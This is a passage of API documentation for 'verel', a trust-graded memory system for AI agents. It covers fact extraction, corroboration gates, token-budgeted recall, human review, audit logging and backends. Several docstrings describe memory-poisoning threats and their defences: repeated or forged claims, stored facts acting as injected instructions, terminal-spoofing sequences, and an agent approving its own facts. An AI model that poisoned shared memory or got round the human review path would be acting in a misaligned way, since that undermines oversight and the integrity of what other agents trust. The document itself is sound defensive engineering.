make_key/make_id) and deduped bysubj_pred_key, so the same fact across turns collapses to one identity instead of N duplicates. - Extracted confidence is NOT trusted: every fact is the prior (
epistemic_confidencedefault), moved only later by corroborate/contradict — a self-reported LLM "confidence" is kept as a hint, not belief.
parse_extracted_facts ¶
parse_extracted_facts(out: str, *, scope: str, now: float = 0.0, source: str = '') -> list[MemoryRecord]
Pure: parse the model's JSON array of {subject,predicate,object} into candidate FACT
records, deduped by subj_pred_key. Fails closed (returns []) on non-JSON, a non-array, or
deeply-nested/oversized hostile input — never a crash, never a partial trusted write. A
secret-looking fact is dropped; source (the conversation's origin) becomes the record's
provenance, so the grade gate can require INDEPENDENT corroboration.
extract_facts ¶
extract_facts(transcript: object, *, scope: str, chat: ChatFn, now: float = 0.0, source: str = '') -> list[MemoryRecord]
Extract candidate FACT records from a conversation (string or [{role,content}] turns). The
chat callable is injected; offline tests pass a fake one. Returns Trust.CANDIDATE records — the
grade gate is what decides which ones become VERIFIED. source identifies the conversation's
origin (a session id / principal) and becomes the record's provenance, so the gate can require
corroboration from INDEPENDENT sources rather than one author repeating a claim.
remember ¶
The grade gate for conversational memory (MEMORY-EXTRACTION-KICKOFF.md, Phase 2).
This is where the moat lives. Extraction (Phase 1) only proposes Trust.CANDIDATE facts;
remember_conversation decides which ones actually compound:
- a re-stated fact is corroborated (
MemoryView.writeraises belief + support), - a changed value supersedes the old one (a queryable correction chain, not a silent overwrite),
- a fact graduates
CANDIDATE → VERIFIEDonly when independent sources corroborate it (≥min_sourcesdistinct provenance) OR a supplied attestation verifies it.
So a one-off fact — and, crucially, a fact a single attacker repeats — stays CANDIDATE: trust
requires INDEPENDENT corroboration, not raw confidence, so one author can't promote a lie by saying it
N times (round-5 security cadence, finding F1). That's the difference from extract-and-believe memory:
extracted, but verified before trusted.
remember_conversation ¶
remember_conversation(mem: MemoryView, transcript: object, *, scope: str, chat: ChatFn, source: str = '', now: float = 0.0, min_sources: int = MIN_SOURCES, attest: Attestor | None = None, authenticate: Authenticator | None = None) -> RememberResult
Extract candidate facts from a conversation and let only GRADED facts compound into mem.
A fact graduates CANDIDATE → VERIFIED ONLY when:
* attest verifies it (a signed receipt / held-out eval — the primary path), OR
* authenticate is supplied AND ≥ min_sources distinct authenticated principals corroborate
it. Raw source strings are self-asserted, so without an authenticator corroboration NEVER
promotes — a single caller can't forge VERIFIED by minting two source labels (round-5 F1).
Corroboration still raises confidence (a ranking signal) via write; it just doesn't grant the
trust tier on its own. A reserved key (is_reserved_key) or a collision with a server-managed
non-FACT record (a SKILL/AuthorTrust/rule) is refused — an untrusted transcript can't touch
control state (round-5 lens-3 F1). A REJECTED fact is not re-promotable by corroboration.
recall ¶
Token-budgeted recall (MEMORY-EXTRACTION-KICKOFF.md, Phase 3).
Closes the "keep the prompt small" gap (the Engram-style win) — and does it graded-first. Returns
the highest-value scoped memories that fit a token budget, ranked by the documented view.rank
(relevance + retrieval strength + confidence + a small trust term), so under pressure a VERIFIED
fact beats an equally-relevant CANDIDATE and a poisoned candidate can't crowd out a verified one.
Pure + dependency-free: the token estimator is injectable (token_count), defaulting to a ~4-chars/
token heuristic so it works with zero deps; pass tiktoken-backed counting for exactness.
BudgetedRecall
dataclass
¶
text
property
¶
text: str
The minimal context block, ready to drop into a prompt — fenced as untrusted DATA so a stored fact can't be read as an instruction (round-5 F7). Appends a one-line tail note when memories were dropped, so the agent knows the recall was budget-limited (not exhaustive).
recall_as_of ¶
recall_as_of(mem: MemoryView, query: str, *, as_of: float, scope: str | None = None, kind: MemoryKind | None = None, k: int = 5) -> list[MemoryRecord]
Bi-temporal recall — "what did we believe about this at wall-clock time as_of?"
For each key, reconstruct the value whose VALID interval [valid_from, valid_to) contained as_of
(the current value, or a superseded one recovered from the correction chain via value_as_of),
rank the reconstructed values by relevance to query, and return the top-k. The killer case is a
fact that legitimately CHANGED over time (e.g. "region = us-east" until June, "us-west" after):
an as-of March query returns the value that was actually true then, not today's.
Deliberate properties:
- Read-only time travel: does NOT reinforce retrieval_strength (it isn't "using" the memory now)
and does NOT mutate anything.
- Never surfaces an ever-rejected value — the reconstructed value is checked with the ledger-aware
is_launder_blocked (not just "is the CURRENT record rejected"), so a value graded false and then
superseded by a benign correction can't be resurfaced from the chain by a historical query
(round-15/F1). The legitimate changed-over-time case never involves rejection, so this costs
nothing there; the full superseded history remains inspectable via the chain / audit for review.
- O(n) scan over the scoped records: as-of is an analytical query, not the hot path, so matching
against the reconstructed (possibly historical) text — which a BM25 index over CURRENT text can't
do — is worth the scan.
Returns raw MemoryRecords (like recall, not the fenced recall_budgeted.text): a caller that
drops as-of results into a prompt must fence them as untrusted DATA exactly as it would recall
output.
recall_budgeted ¶
recall_budgeted(mem: MemoryView, query: str, *, token_budget: int, scope: str | None = None, kind: MemoryKind | None = None, k: int = 50, token_count: TokenCount | None = None, now: float = 0.0) -> BudgetedRecall
Return the best scoped memories for query that fit token_budget, verified-first, plus the
tokens used and the number dropped.
Fills greedily in view.rank order and never exceeds the budget — except it always returns at
least the single highest-ranked memory, so recall is never empty when a relevant memory exists
(a one-line fact is worth more than an empty context, even under a sub-fact budget).
Operator review — the human-in-the-loop path¶
List the CANDIDATE queue, approve to VERIFIED on human authority, or reject into a durable
tombstone — with laundering refused fail-closed and terminal-safe rendering. Surfaced as
verel memory.
review ¶
Operator review — the human-in-the-loop workflow that resolves CANDIDATE facts.
A fact enters memory as CANDIDATE and normally earns VERIFIED through the attested promotion gate (promotion.py) or multi-principal corroboration (remember.py). This module adds the third path the trust model names but never surfaced: a HUMAN reviews the pending candidates and decides.
Deliberate security posture:
- CLI-only by design. Review is exposed via verel memory ... (a human at a terminal), NOT over
MCP — an agent must never be able to approve its own candidate facts. The agent-facing surface
(verel_remember/verel_recall) stays read/write of candidates only.
- Approve never launders. approve() refuses a REJECTED record: the rejected-value ledger exists
precisely so a once-rejected value can't come back; a human wanting to resurrect one must write it
as a NEW fact and let the gate see the ledger.
- Reject rides the existing tombstone path. reject() drives the backend's own contradict →
REJECTED transition (ec floor + rejected_values ledger), so the durable anti-laundering behaviour
is identical across every backend — no second rejection mechanism to drift.
- Terminal-safe rendering. Everything shown to the operator passes view.canonical_text, so a
stored fact can't smuggle ANSI/control/zero-width sequences into the review terminal and spoof
what is being approved.
RejectedApprovalError ¶
Bases: ValueError
Raised when approve() is asked to promote a REJECTED record (anti-laundering, round-7 C1).
pending ¶
pending(mem: MemoryView, *, scope: str | None = None, kind: MemoryKind | None = None, limit: int = 50) -> list[MemoryRecord]
CANDIDATE facts awaiting review — most-corroborated first, then oldest first.
Ordering is a review queue, not a ranking: high-support candidates are the ones agents keep re-asserting (decide them first); ties go to the oldest so nothing starves at the tail.
approve ¶
approve(mem: MemoryView, record_id: str, *, reviewed_by: str) -> MemoryRecord | None
Promote a CANDIDATE to VERIFIED on human authority, recording who and when.
Returns the updated record, or None when record_id doesn't exist. Raises
RejectedApprovalError for a REJECTED record — approval must not bypass the rejected-value
ledger (write the value as a new fact instead; the promotion gate consults the ledger).
reject ¶
reject(mem: MemoryView, record_id: str, *, reviewed_by: str, reason: str = '') -> MemoryRecord | None
Reject a fact on human authority — a durable tombstone, invisible to recall from now on.
Uses the backend's own contradict → REJECTED path (delta=1.0 floors epistemic_confidence), so
the rejected_values anti-laundering ledger is populated exactly as an evidence-driven
rejection would. Returns the updated record, or None when it doesn't exist.
render_line ¶
render_line(r: MemoryRecord, *, width: int = 100) -> str
One terminal-safe line per record for the review listing. All record-derived fields pass
canonical_text (ANSI/control/zero-width stripped) so stored content can't forge terminal
output; the line is truncated to width.
render_record ¶
render_record(r: MemoryRecord) -> str
Multi-line terminal-safe detail view: the record, its correction chain, review metadata and the rejected-value ledger — what an operator needs to decide, nothing raw.
Mutation audit — who changed what, when¶
AuditedMemory wraps any backend and appends every trust-layer mutation
({actor, action, before, after}) to a hash-chained, tamper-evident JSONL log.
audit ¶
Memory mutation audit — a hash-chained, append-only log of every trust-layer mutation.
Closes the "mutation audit" gap: correction chains (view.py corrections) preserve WHAT a record
used to say, but not WHO/WHAT changed it. MemoryAudit records every mutation as
{seq, ts, actor, action, record_id, before, after}, hash-chained (each entry commits to its
predecessor via SHA-256) so in-place tampering is detectable — a lighter cousin of the WORM discipline in
verel.verdict.store.ReceiptStore, applied to memory.
AuditedMemory wraps ANY MemoryView backend (local/postgres/lancedb/redis/mem0/remote) and logs
mutations at the Protocol seam, so no backend needs changes and every backend gets the same audit.
Honest scope of the tamper-evidence (it is NOT a signed log like verel.verdict.ReceiptStore):
verify() detects in-place edits (any altered field breaks that entry's hash) and middle
deletions / torn writes (a broken prev_hash link or an unparseable line). It does NOT detect
tail truncation (dropping the last N entries leaves a still-consistent prefix) or a full
re-forge by an attacker who can rewrite the whole file (no external signed head to anchor against).
This is a local integrity log — an attacker with write access to it already has write access to the
brain store itself — so this is defense-in-depth, not a trust boundary. For a signed, WORM receipt
chain use ReceiptStore.
What is (and isn't) audited — a deliberate line:
- Audited: write, apply_replica, corroborate, contradict, promote, demote, annotate,
set_flags, pin, unpin, decay — everything that moves belief, trust, or lifecycle.
- NOT audited: recall's retrieval_strength reinforcement. That is reachability bookkeeping (the
testing effect), not a belief mutation — logging every recall would flood the log and let a hostile
query stream inflate it (an amplification the v1.3.0 cadence closed for writes).
Entry fields are BOUNDED (actor/action/record_id truncated; before/after snapshots carry a
canonical_text 120-char preview + counters, never the raw value) so attacker-length fact text
cannot bloat one entry. Appends are plain JSONL a-mode writes: a torn line does not corrupt prior
entries and is DETECTED by verify() (fail-visible, like ReceiptStore). Multi-process appenders can
fork the chain; ordering is best-effort but in-place edits to any committed entry stay detectable.
MemoryAudit ¶
Append-only, hash-chained JSONL audit log for memory mutations.
from_env
classmethod
¶
from_env() -> MemoryAudit
Resolve the audit path — the chain FOLLOWS THE STORE, so a temp/test store cannot pollute the operator's real audit history with events for records that store never held:
VEREL_MEMORY_AUDIT— explicit path, always wins.- local backend with a non-default
VEREL_MEMORY_STOREfile path — a sidecar<store>.audit.jsonlnext to that db (each store gets its own chain). - else — the global
$XDG_CONFIG_HOME/verel/memory_audit.jsonl(default~/.config), unchanged for the default brain and for non-file backends. (:memory:also falls through: a fresh empty store offers the CLI nothing to mutate, so nothing is logged.)
append ¶
append(*, actor: str, action: str, record_id: str, before: MemoryRecord | None = None, after: MemoryRecord | None = None, extra: dict | None = None, ts: float = 0.0) -> str
Append one mutation entry; returns its hash (the new chain head).
entries ¶
entries(record_id: str | None = None) -> list[dict]
All (valid) entries, oldest first; filtered to one record when record_id is given.
verify ¶
verify() -> tuple[bool, str]
Walk the log and verify every entry's hash + prev_hash linkage.
Returns (True, "ok") for an intact chain, else (False, reason). A torn/unparseable line or a broken link is a verification FAILURE — tampering and torn writes are fail-visible.
AuditedMemory ¶
Bases: MemoryView
Wrap any MemoryView so every mutation is appended to a MemoryAudit with an actor.
Drop-in: satisfies the same Protocol, so anything that takes a MemoryView takes this.
actor names the mutating principal (e.g. "cli:alice", "mcp:verel_remember", "loop").
Backends — local & hosted¶
The default zero-dependency SQLite store, plus the hosted brain: a MemoryServer over HTTP and a
RemoteMemory client that implements the same MemoryView Protocol (see
Memory backends).
local ¶
LocalMemory — a zero-dependency SQLite MemoryView (default backend).
Implements the full trust layer (§5): split epistemic_confidence vs retrieval_strength,
the interference rule (subj_pred_key supersede), the documented ranking, power-law decay,
and the exact prune rule. Recall is FTS5 BM25 lexical search (v1.3.0) re-ranked by the
trust-aware rank; pass an embedder for semantic (cosine) recall behind the same interface.
mem0 is the rentable alternative behind the SAME MemoryView Protocol (see view.py); swap
it in without touching the failure-ledger, consolidation, or the loop.
LocalMemory ¶
Bases: MemoryView
from_env
classmethod
¶
from_env() -> LocalMemory
Construct from operator env (the registry entry point for VEREL_MEMORY_BACKEND=local).
Path: VEREL_MEMORY_STORE else $XDG_CONFIG_HOME/verel/brain.db (default ~/.config).
Embedder: the shared embedder_from_env() (None by default → lexical recall, unchanged).
write ¶
write(record: MemoryRecord, *, ts: float = 0.0) -> MemoryRecord
Write with the interference rule: same (subject, predicate, scope) supersedes, accumulating support_count and corroboration rather than duplicating.
apply_replica ¶
apply_replica(record: MemoryRecord) -> MemoryRecord
Upsert a record VERBATIM (id + every field), with NO corroboration/supersede — for replication and catch-up sync, so a follower mirrors the leader's state exactly and re-delivery is idempotent.
annotate ¶
annotate(record_id: str, **detail) -> MemoryRecord | None
Merge detail into a record WITHOUT touching trust/confidence/support — audit
metadata (e.g. a counterexample list), never a corroboration.
set_flags ¶
set_flags(record_id: str, *, pinned=None, volatile=None, ttl_s=None)
Set lifecycle flags directly (no corroboration side effect).
decay ¶
decay(*, half_life_s: float = 604800.0, now: float = 0.0, stale_after_s: float = STALE_AFTER_S, volatile_ttl_s: float = VOLATILE_TTL_S) -> int
Decay retrieval_strength, expire TTL/volatile/stale records, then prune per §5. Pinned memories are exempt. Confidence is never touched. Returns #pruned.
hosted ¶
Hosted shared memory (§5) — a MemoryView behind an HTTP API, so a FLEET shares one brain.
LocalMemory and mem0 are per-process. The shared team brain needs agents on different machines
reading and writing one store. This wraps a durable MemoryView in a tiny, dependency-free
HTTP service and ships a RemoteMemory client that implements the SAME MemoryView Protocol — so
everything that takes a memory (recall, the scope lattice, consolidation, the promotion gate) works
against the shared brain unchanged: lattice_recall(RemoteMemory(url), ...) just works.
The server is the single writer: every store access is serialized behind one lock, so the
interference rule (a new value for the same (subject, predicate, scope) supersedes) stays correct
under concurrent agents — no split-brain, because there is one authority. (Replicating the store
across several authorities — and fencing between them — is the next hardening, mirroring the
control plane.) Stdlib only; an optional bearer token gates access.
MemoryServer ¶
A threaded HTTP front-end for a durable MemoryView. Pass a db_path (a LocalMemory is
created, opened cross-thread + lock-serialized) or your own store. start() serves in a
background thread; url is the base address; stop() shuts it down.
enroll ¶
enroll(key_id: str, public_key_b64: str) -> None
Trust a principal's signed writes (operator action). Reflected immediately (shared dict).
RemoteMemory ¶
A MemoryView over HTTP — point an agent at a MemoryServer and it shares the team brain.
A drop-in for LocalMemory/mem0, so lattice_recall, graduate, consolidation, and the
promotion gate all work against the shared store unchanged.
env_kwargs
staticmethod
¶
env_kwargs() -> dict
The connection kwargs from operator env — ONE source of truth for both the read brain and the authoring principal: bearer/cluster tokens, TLS server CA, mTLS client cert/key, cert pin (comma-separated → a set of allowed fingerprints), and the cleartext opt-out.
from_env
classmethod
¶
from_env() -> RemoteMemory
Construct from operator env (registry entry point for VEREL_MEMORY_BACKEND=remote, and
the back-compat path when VEREL_BRAIN_URL is set). Fails closed without a brain URL.
remember_signed ¶
remember_signed(principal, *, subject: str, predicate: str, scope: str, text: str, kind: MemoryKind = MemoryKind.FACT, evidence: dict | None = None, ts: float = 0.0) -> dict
Author a belief on the shared brain as an AUTHENTICATED principal: sign the claim with the
principal's key; the server derives author from the verified key (forge-proof). Pass a
fact-bound evidence attestation (a publicly-verifiable GateReceipt over this exact claim) to
earn the cross-principal verified tier; without it the belief stays a candidate. Returns the
server's authn result {authenticated, written, author, reverified, conflict, reason, record}.
ReplicaClient ¶
A replication peer over HTTP — give a ReplicatedMemory these as peers to replicate to
follower MemoryServers on other machines. replicate raises FencingError on a 409 so a
deposed leader's in-flight write is rejected at the follower, exactly as in-process.
Failure ledger & regression report¶
Records gating failures so the fleet stops repeating mistakes; regression_report rolls the open
failures into a single verdict.
failure_ledger ¶
Failure ledger + regression guard (§7.5) — "the fleet stops repeating mistakes".
Every gating failure the verdict bus sees is written to long-term memory keyed by its
scrubbed fingerprint. When the loop reaches PASS, those fingerprints are marked fixed. If
a previously fixed fingerprint ever reappears, the regression guard recalls it from memory
and emits a gating Report — so a reintroduced bug FAILS the gate on the strength of memory
alone, not because someone remembered to re-add a test.
FailureLedger ¶
record ¶
record(report: Report, *, ts: float = 0.0, volatile_fingerprints: set[str] | None = None) -> list[str]
Persist every gating failure; reappearance of a fixed one flips it back to open.
volatile_fingerprints (e.g. ci-medic's transient/flaky classifications) are written
volatile so they self-clean from failure-memory unless they RECUR — a recurrence
re-asserts the same record, which confirms it (clears volatile) and keeps it. This is
the anti-"junk drawer" behaviour the design's interference rule aims at.
check_regressions ¶
check_regressions(report: Report) -> list[MemoryRecord]
Which gating fingerprints in report were previously marked fixed?
regression_report ¶
regression_report(records: list[MemoryRecord]) -> Report
Turn recalled regressions into a CONTRACT-grader Report so memory gates the build.